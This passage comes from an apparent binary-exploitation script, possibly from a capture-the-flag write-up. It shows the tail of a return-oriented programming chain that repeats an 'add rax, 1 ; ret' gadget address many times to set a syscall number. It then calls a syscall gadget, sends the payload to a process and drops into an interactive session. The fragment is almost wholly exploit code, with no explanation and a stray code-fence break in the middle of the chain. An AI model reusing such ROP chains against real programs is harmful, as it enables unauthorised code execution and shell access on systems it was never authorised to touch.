p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
```

```
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000cd9e0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000000284a6) # syscall

process.sendline(p)

process.interactive()
```